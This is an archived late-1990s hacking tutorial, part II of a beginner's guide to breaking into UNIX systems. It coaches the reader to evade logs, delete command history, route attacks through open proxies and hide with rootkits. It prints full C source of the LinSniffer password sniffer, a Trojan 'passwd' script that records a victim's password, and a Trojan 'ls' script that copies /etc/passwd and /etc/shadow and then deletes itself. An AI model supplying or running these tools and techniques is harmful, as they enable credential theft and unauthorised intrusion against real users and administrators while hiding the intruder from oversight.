home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / unix_intro2.txt < prev    next >
Encoding:
Text File  |  1998-07-23  |  16.7 KB  |  480 lines

  1. A Beginners Introduction To Hacking Around On The UNIX Operating System
  2.                  Part II, By Netdiablo <ndiablo@complink.net>
  3.  
  4. Assuming you've read the first part of this text about hacking around on the
  5. UNIX operating system, you know about some of the simpler aspects of UNIX
  6. use and cracking. You should know about how to idenfify a UNIX, what sort of
  7. default accounts there are on a UNIX, how to get and crack the passwd file,
  8. and some of the information behind buffer overflow exploits. However, to
  9. retain brevity and keep it simple, i left some things out. This second part
  10. will explain some of the more interesting techniques of using a UNIX once
  11. you get on it, using a UNIX to gain further access to other machines on the
  12. network, and extending your stay on a target UNIX.
  13.  
  14. First of all, more on extending your stay on a target system. This is all
  15. about evading detection. As i had said in the first file, try at all costs
  16. to stay out of the logs. Here is a list of some things you should be
  17. be careful about:
  18.  
  19.                 * Attempts of "su"
  20.                 * Connecting to any port from a location you don't want known
  21.                 # Bad login attempts, especially with "root"
  22.  
  23. Most of these are common sense. Don't try and brute force logins. You should
  24. stay away from "su" at all times. It logs who you su'ed to and which user did
  25. the su'ing. If you need to login as a different user, just re-login to the
  26. system.
  27.  
  28. This brings another topic into view, the 'redirector'. A 'redirector' is a
  29. system that you go through to attack a target so your real location is
  30. hidden. Of course, you could use another system you have cracked for this
  31. purpose, or you could use other things, such as routers, or things like
  32. 'Wingate' or 'WebRamp' systems. Some of these, especially the 'WebRamp'
  33. and 'Wingates' are run by normal users without any administration
  34. experience. For the WebRamp, i believe you will need a username and password,
  35. although defaults do exist, and normal users will probably not change them.
  36. I'll leave it up to you to find more information on those, however.
  37. The Wingate, however, is your best ticket. It demands no authentication.
  38. You will know you have hit a Wingate from the "WinGate>" prompt. At this
  39. prompt, simply enter the name of the host to connect to, and optionally a
  40. port to connect to, and you will be connected right through the Wingate!
  41. Now, the target host will only be able to track you back to your redirector,
  42. and you will be safer than if you had connected directly to the target
  43. from your machine.
  44.  
  45. But, what if the system administrator or a nosy user is logged in and finds
  46. you doing something potentially unusual by using standard system status
  47. commands like 'ls' and 'ps'? There are ways to get around this also. There
  48. are sets of programs out called 'rootkits'. These programs are modified
  49. versions of programs like 'ps', 'login', and 'ls' that have been modified.
  50. For instance, a rootkit 'login' program might contain a backdoor allowing
  51. a user to login as root by typing a certain word at the login prompt. A
  52. rootkit 'ps' program might hide certain processes run by a certain user. A
  53. rootkit 'ls' program might not show some files in certain directories. Using
  54. a rootkit will allow you to extend your stay on the system for a long time,
  55. especially if the system administrator does not suspect anything at all. He
  56. will just be left in the dark by the rootkit programs and will never know
  57. otherwise! Rootkits can be aquired at many places, although, as before, i
  58. recommend rootshell.com. Of course, you have to have cracked root first
  59. to be able to install a rootkit, so if you havent done that yet, some of the
  60. tips below will still be helpful to you.
  61.  
  62. Another common sense tip is, obviously, hide your exploits. If you must leave
  63. exploits laying around on the target system, or other things like SUID shells,
  64. hide them in a hidden directory (this can be done by prefixing the file name
  65. with a period). Then, you will have at least a first line of security to your
  66. exploits being found. Also, dont name your exploits something that is likely
  67. to arouse suspicion. An program that an admin found called 'rootcracker'
  68. would be a lot more likely to arouse suspicion than a program like 'mail'.
  69.  
  70. Also, keep track of command history files. These can be dangerous evidence of
  71. your activities that are just laying around. These are found in your home
  72. directory, and have names like ".history" and ".bash_history". Delete them!
  73. You might also want to look into running a shell like the Korn shell or the
  74. Z shell that does not leave command history files laying around.
  75.  
  76. So, now you have at least some sort of access on this UNIX, and have hidden
  77. yourself fairly well. If you're still somewhat new, you might be wondering
  78. what to do now. Now, you might want to check out some interesting things 
  79. that will help you to use your newly conquered UNIX to your advantage.
  80.  
  81. First of all, ".rhosts" files. In a user's home directory, there will be a
  82. file called ".rhosts". This file contains a list of hosts that are considered
  83. "trusted". This is shown in the example below:
  84.  
  85. Say there is a user "gary" and his .rhosts file contains the following hosts:
  86.         system1.internet.com
  87.         gate.nas.net
  88.         dorothy.oz.com
  89.  
  90. So, let's say that the the account mentioned above ("gary") was on a system
  91. called "system2.internet.com". So, since those three hosts were in the 
  92. ".rhosts" file, a user named "gary" on "system1.internet.com", 
  93. "gate.nas.net", and "dorothy.oz.com" could log into "system2.internet.com"
  94. without having to supply a password using the "rlogin" command! You can
  95. do this simply by typing "rlogin machine.com" when you are using the
  96. 'trusted' account. For instance, say "gary" on "gate.nas.net" wanted to
  97. login to "system2.internet.com", where the ".rhosts" file was that contained
  98. the three hosts above. All he would have to do is type
  99. "rlogin system2.internet.com" and he would be in without having to type a
  100. password!
  101.  
  102. Obviously, this concept of 'trust' is simply a vulnerability. Remember X-Files.
  103. 'Trust no one' (heh). Hosts that are using 'rlogin' along with '.rhosts' files
  104. should be simple cracks.
  105.  
  106. Another way to use a UNIX to your advantage in getting access on other machines
  107. is the packet sniffer. A packet sniffer runs on a network interface, such as
  108. an ethernet or PPP link, and captures the contents of all the data packets that
  109. travel across that interface. What this translates to is that if you run a
  110. packet sniffer on a link that people are often using, you will capture a lot
  111. of logins and passwords!
  112.  
  113. Good examples of packet sniffers are the classic 'tcpdump' and others, such
  114. as 'linsniff' and 'sniffit'. The code of 'linsniff is given below:
  115.  
  116. /*
  117. LinSniffer 0.03.9 [BETA; so if it crashes your network... ]
  118. Originally by: Mike Edulla (medulla@infosoc.com)
  119.  
  120. Modified by XinU for the net poSSe.
  121.  
  122. For legal/educational use only.
  123.  
  124. We are not responsible for your stupidity.
  125.  
  126. Last Modified: March 15, 1997
  127.  
  128. To compile: gcc -o linsniff linsniff.c
  129. To Run: touch /root/private/.sniff.log
  130.  
  131. ./linsniff &
  132. tail -f /root/private/.sniff.log
  133.  
  134. */
  135.  
  136. #include <sys/types.h>
  137. #include <sys/socket.h>
  138. #include <sys/time.h>
  139. #include <netinet/in.h>
  140. #include <netdb.h>
  141. #include <string.h>
  142. #include <linux/if.h>
  143. #include <signal.h>
  144. #include <stdio.h>
  145. #include <arpa/inet.h>
  146. #include <linux/socket.h>
  147. #include <linux/ip.h>
  148. #include <linux/tcp.h>
  149. #include <linux/if_ether.h>
  150.  
  151. int openintf(char *);
  152. int read_tcp(int);
  153. int filter(void);
  154. int print_header(void);
  155. int print_data(int, char *);
  156. char *hostlookup(unsigned long int);
  157. void clear_victim(void);
  158. void cleanup(int);
  159.  
  160. struct etherpacket
  161. {
  162.    struct ethhdr eth;
  163.    struct iphdr  ip;
  164.    struct tcphdr tcp;
  165.    char buff[8193];
  166. }ep;
  167.  
  168. struct
  169. {
  170.    unsigned long      saddr;
  171.    unsigned long      daddr;
  172.    unsigned short     sport;
  173.    unsigned short     dport;
  174.    int                bytes_read;
  175.    char               active;
  176.    time_t             start_time;
  177. } victim;
  178.  
  179. struct iphdr  *ip;
  180. struct tcphdr *tcp;
  181. int s;
  182. FILE *fp;
  183.  
  184. #define CAPTLEN 1024
  185. #define TIMEOUT 31
  186. #define TCPLOG "/root/private/.sniff.log"
  187.  
  188. int openintf(char *d)
  189. {
  190.    int fd;
  191.    struct ifreq ifr;
  192.    int s;
  193.    fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
  194.    if(fd < 0)
  195.    {
  196.       perror("cant get SOCK_PACKET socket");
  197.       exit(0);
  198.    }
  199.    strcpy(ifr.ifr_name, d);
  200.    s=ioctl(fd, SIOCGIFFLAGS, &ifr);
  201.    if(s < 0)
  202.    {
  203.       close(fd);
  204.       perror("cant get flags");
  205.       exit(0);
  206.    }
  207.    ifr.ifr_flags |= IFF_PROMISC;
  208.    s=ioctl(fd, SIOCSIFFLAGS, &ifr);
  209.    if(s < 0) perror("Yo Mama! She Aint No Slut! (cant set promiscuous
  210. mode)");
  211.    return fd;
  212. }
  213.  
  214. int read_tcp(int s)
  215. {
  216.    int x;
  217.    while(1)
  218.    {
  219.       x=read(s, (struct etherpacket *)&ep, sizeof(ep));
  220.       if(x > 1)
  221.       {
  222.          if(filter()==0) continue;
  223.          x=x-54;
  224.          if(x < 1) continue;
  225.          return x;
  226.       }
  227.    }
  228. }
  229.  
  230. int filter(void)
  231. {
  232.    int p;
  233.    p=0;
  234.    if(ip->protocol != 6) return 0;
  235.    if(victim.active != 0)
  236.       if(victim.bytes_read > CAPTLEN)
  237.       {
  238.          fprintf(fp, "\n-----+ [CAPLEN Exceeded]+\n");
  239.          clear_victim();
  240.          return 0;
  241.       }
  242.    if(victim.active != 0)
  243.       if(time(NULL) > (victim.start_time + TIMEOUT))
  244.       {
  245.          fprintf(fp, "\n-----+ [Timed Out]+\n");
  246.          clear_victim();
  247.          return 0;
  248.       }
  249.  
  250.    if(ntohs(tcp->dest)==21)  p=1; /* ftp */
  251.    if(ntohs(tcp->dest)==23)  p=1; /* telnet */
  252.    if(ntohs(tcp->dest)==110) p=1; /* pop3 */
  253.    if(ntohs(tcp->dest)==109) p=1; /* pop2 */
  254.    if(ntohs(tcp->dest)==143) p=1; /* imap2 */
  255.    if(ntohs(tcp->dest)==513) p=1; /* rlogin */
  256.    if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
  257.    if(victim.active == 0)
  258.       if(p == 1)
  259.          if(tcp->syn == 1)
  260.          {
  261.             victim.saddr=ip->saddr;
  262.             victim.daddr=ip->daddr;
  263.             victim.active=1;
  264.             victim.sport=tcp->source;
  265.             victim.dport=tcp->dest;
  266.             victim.bytes_read=0;
  267.             victim.start_time=time(NULL);
  268.             print_header();
  269.          }
  270.    if(tcp->dest != victim.dport) return 0;
  271.    if(tcp->source != victim.sport) return 0;
  272.    if(ip->saddr != victim.saddr) return 0;
  273.    if(ip->daddr != victim.daddr) return 0;
  274.    if(tcp->rst == 1)
  275.    {
  276.       victim.active=0;
  277.       alarm(0);
  278.       fprintf(fp, "\n----- [RST]\n");
  279.       clear_victim();
  280.       return 0;
  281.    }
  282.    if(tcp->fin == 1)
  283.    {
  284.       victim.active=0;
  285.       alarm(0);
  286.       fprintf(fp, "\n----- [FIN]\n");
  287.       clear_victim();
  288.       return 0;
  289.    }
  290.    return 1;
  291. }
  292.  
  293. int print_header(void)
  294. {
  295.    fprintf(fp, "\n");
  296.    fprintf(fp, "%s => ", hostlookup(ip->saddr));
  297.    fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
  298. }
  299.  
  300. int print_data(int datalen, char *data)
  301. {
  302.    int i=0;
  303.    int t=0;
  304.  
  305.    victim.bytes_read=victim.bytes_read+datalen;
  306.    for(i=0;i != datalen;i++)
  307.    {
  308.       if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
  309.       if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
  310.       if(t > 75) {t=0;fprintf(fp, "\n");}
  311.    }
  312. }
  313.  
  314.  
  315. main(int argc, char **argv)
  316. {
  317.    s=openintf("eth0");
  318.    ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  319.    tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
  320.    signal(SIGHUP, SIG_IGN);
  321.    signal(SIGINT, cleanup);
  322.    signal(SIGTERM, cleanup);
  323.    signal(SIGKILL, cleanup);
  324.    signal(SIGQUIT, cleanup);
  325.    if(argc == 2) fp=stdout;
  326.    else fp=fopen(TCPLOG, "at");
  327.    if(fp == NULL) { fprintf(stderr, "Sorry... cant open log file. gotta
  328. create it first eg: touch %s \n",TCPLOG);exit(0);}
  329.    clear_victim();
  330.    for(;;)
  331.    {
  332.       read_tcp(s);
  333.       if(victim.active != 0)
  334. print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
  335.       fflush(fp);
  336.    }
  337. }
  338.  
  339. char *hostlookup(unsigned long int in)
  340. {
  341.    static char blah[1024];
  342.    struct in_addr i;
  343.    struct hostent *he;
  344.  
  345.    i.s_addr=in;
  346.    he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  347.    if(he == NULL) strcpy(blah, inet_ntoa(i));
  348.    else strcpy(blah, he->h_name);
  349.    return blah;
  350. }
  351.  
  352. void clear_victim(void)
  353. {
  354.    victim.saddr=0;
  355.    victim.daddr=0;
  356.    victim.sport=0;
  357.    victim.dport=0;
  358.    victim.active=0;
  359.    victim.bytes_read=0;
  360.    victim.start_time=0;
  361. }
  362.  
  363. void cleanup(int sig)
  364. {
  365.    fprintf(fp, "Awww.... that hurts!....\n");
  366.    close(s);
  367.    fclose(fp);
  368.    exit(0);
  369. }
  370.  
  371. The problem with packet sniffers is that they will load down the system a bit,
  372. and will create somewhat large log files. As a result, it is safest to install
  373. a rootkit first that will at least hide your sniffer from the 'ps' program,
  374. and of course, hide the sniffer application and the log files it creates in a
  375. hidden directory.
  376.  
  377. Another potential vulnerability is a user's PATH. Lets look at an example PATH
  378. for a lesson on this.
  379.  
  380. ndiablo:anubis-gw /% echo $PATH
  381. /local/bin:/usr/bin:/bin
  382. ndiablo:anubis-gw /% 
  383.  
  384. In this case, no vulnerabilities here. But, say if there was another user, with
  385. a bit different PATH.
  386.  
  387. unwitting:anubis-gw /home/unwitting% echo $PATH
  388. /home/unwitting:/usr/local/bin:/bin:/usr/bin
  389. unwitting:anubis-gw /home/unwitting%
  390.  
  391. In this case, the first directory in the user's search path is the users home
  392. directory. This might not be a problem if the user has access privelages on
  393. his directory restricted, although, it might quickly become a problem if not.
  394.  
  395. ndiablo:anubis-gw /home% ls -l 
  396. total 1
  397. drwxrwxrwx   2 unwitting        unwitting       1024    Jul 12 22:12 unwitting
  398. ndiablo:anubis-gw /home%
  399.  
  400. Look here! The unwitting user has left his directory wide open. The combination
  401. of the wide open directory, and the fact that the first directory in the users
  402. search path is his home directory creates a vulnerability!
  403.  
  404. How to exploit this? Many ways. First of all, if you're only dealing with a
  405. regular user, you might want to try stealing his password with a fake 
  406. 'passwd' script. First, create a script in the users home directory called
  407. 'passwd'. Then, put the following into the script
  408.  
  409. echo "Changing passwd for" $USERNAME
  410. stty -echo
  411. echo -n "Enter old password: "
  412. read password 
  413. echo $password > /your/home/directory/.passwd.target
  414. echo "Incorrect password for" $USERNAME"."
  415. echo "The password for" $USERNAME "is unchanged."
  416. rm /targets/home/directory/passwd
  417.  
  418. What will this do? Quite simply, itll pretend to be the passwd program. The 
  419. user will run this, type in his password, and it will say it was incorrect.
  420. This is not such a big deal, he will just assume he mistyped it, and try
  421. again. The thing is that this script will delete itself, so next time the 
  422. user will get the real program.
  423.  
  424. Here's a bit more indepth look at that PATH thing. Say there is a user with
  425. a PATH shown below:
  426.  
  427. /usr/bin:/bin:/usr/local/bin:/home/user
  428.  
  429. So, when this user types his command at the command line, it follows a little
  430. flow chart.
  431.  
  432.                 1. User types command
  433.                 2. Is command in /usr/bin? If yes, then execute command,
  434.                 else continue looking.
  435.                 3. Is command in /bin? If yes, then execute command, else
  436.                 continue looking.
  437.                 4. Is command in /usr/local/bin? If yes, then execute
  438.                 command, else continue looking.
  439.                 5. Is command in /home/user? If yes, then execute command,
  440.                 else echo "Command not found"
  441.  
  442. So, you can see, it checks all the directories in the search path, in order.
  443. In the script above, since it looked for the command in the users home
  444. directory first and found the fake passwd command, before it got to looking
  445. in /usr/bin where the real passwd command is.
  446.  
  447. You might be wondering about the use of this especially if the user is just
  448. going to change his password again. Perhaps you wont get the exact password,
  449. but you might be able to find out what kind of password the user uses, or
  450. perhaps you could pick out a pattern (e.g. "word1" then "word2" and on).
  451.  
  452. If you happened to find root in this sort of situation, however, you could
  453. make a script and call it something like 'ls' and use it for all sorts of
  454. purposes, like stealing passwd files, adding users, deleting files, and 
  455. other general mayhem! Here's an example, a file called 'ls' in the root
  456. user's home directory.
  457.  
  458. cp /etc/passwd /your/home/directory/.passwd
  459. cp /etc/shadow /your/home/directory/.shadow
  460. chown youruser.yourgroup /your/home/directory/.passwd
  461. chown youruser.yourgroup /your/home/directory/.shadow
  462. chmod 777 /your/home/directory/.passwd
  463. chmod 777 /your/home/directory/.shadow
  464. ls
  465. rm /root/ls
  466.  
  467. Here, the script would have stolen the passwd and shadow files, and then 
  468. executed the 'ls' command. Finally, it cleans up after itself so there is
  469. no evidence left behind.
  470.  
  471. So, now you have had a few more exploits explained to you - more on evading
  472. detection, using redirectors to hide your origins, and exploiting systems
  473. using the .rhosts files and PATH vulnerabilities, as well as using sniffers
  474. to gain more usernames and passwords.
  475.  
  476. Look for Volume III coming soon containing even more information explained
  477. in the in-depth tradition of the first files. Any questions or comments 
  478. can be addressed to root@anubis-gw.dyn.ml.org or ndiablo@complink.net
  479.  
  480. $ EOF -Netdiablo <ndiablo@complink.net> <root@anubis-gw.dyn.ml.org> $